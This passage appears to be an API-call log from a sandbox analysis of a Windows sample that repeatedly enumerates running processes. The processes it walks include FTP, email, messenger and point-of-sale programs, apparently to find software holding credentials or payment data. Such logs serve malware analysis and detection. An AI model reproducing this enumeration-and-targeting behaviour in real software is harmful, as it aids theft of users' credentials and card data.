th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0065.066] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0065.067] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa84, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0065.069] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0065.071] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0065.298] Process32NextW (in: hSnapshot=0x1a0, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0065.300] CloseHandle (hObject=0x1a0) returned 1 [0065.301] Sleep (dwMilliseconds=0x1f4) [0066.153] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b8 [0066.162] Process32FirstW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0066.164] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0066.165] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0066.167] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0066.169] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0066.170] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0066.172] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0066.173] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0066.175] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0066.176] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0066.178] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.180] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.181] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.183] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.184] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.186] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0066.187] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.188] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.190] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0066.192] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0066.193] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0066.503] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0066.504] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.506] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0066.508] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0066.509] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.511] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0066.512] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0066.514] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ltd revolutionary regulations.exe")) returned 1 [0066.515] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="similar.exe")) returned 1 [0066.517] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="guestbook saturday.exe")) returned 1 [0066.519] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="perceived.exe")) returned 1 [0066.520] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="communities calculate.exe")) returned 1 [0066.522] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gravekingdodge.exe")) returned 1 [0066.524] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="entitled.exe")) returned 1 [0066.526] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="f_sign.exe")) returned 1 [0066.527] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mathematical carbon.exe")) returned 1 [0066.529] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="referrals-pamela-algebra.exe")) returned 1 [0066.530] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="paintingscompiledbeing.exe")) returned 1 [0066.532] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="collective.exe")) returned 1 [0066.533] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mls-miracle-bestsellers.exe")) returned 1 [0066.535] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshot-venture-distance.exe")) returned 1 [0066.537] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="meditation-vic-easily.exe")) returned 1 [0066.952] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="request-mhz.exe")) returned 1 [0066.955] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jefferson.exe")) returned 1 [0066.957] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0066.960] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0066.962] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0066.964] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0066.965] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0066.967] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0066.968] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0066.970] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0066.972] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0066.974] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0066.981] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0066.982] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0066.984] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0066.986] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0066.988] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0066.991] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0067.259] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0067.261] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0067.263] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0067.266] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0067.268] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0067.281] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0067.283] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0067.286] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0067.289] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0067.291] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0067.294] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0067.296] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0067.298] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0067.301] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0067.586] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0067.616] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0067.618] Process32NextW (in: hSnapshot=0x1b8, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, 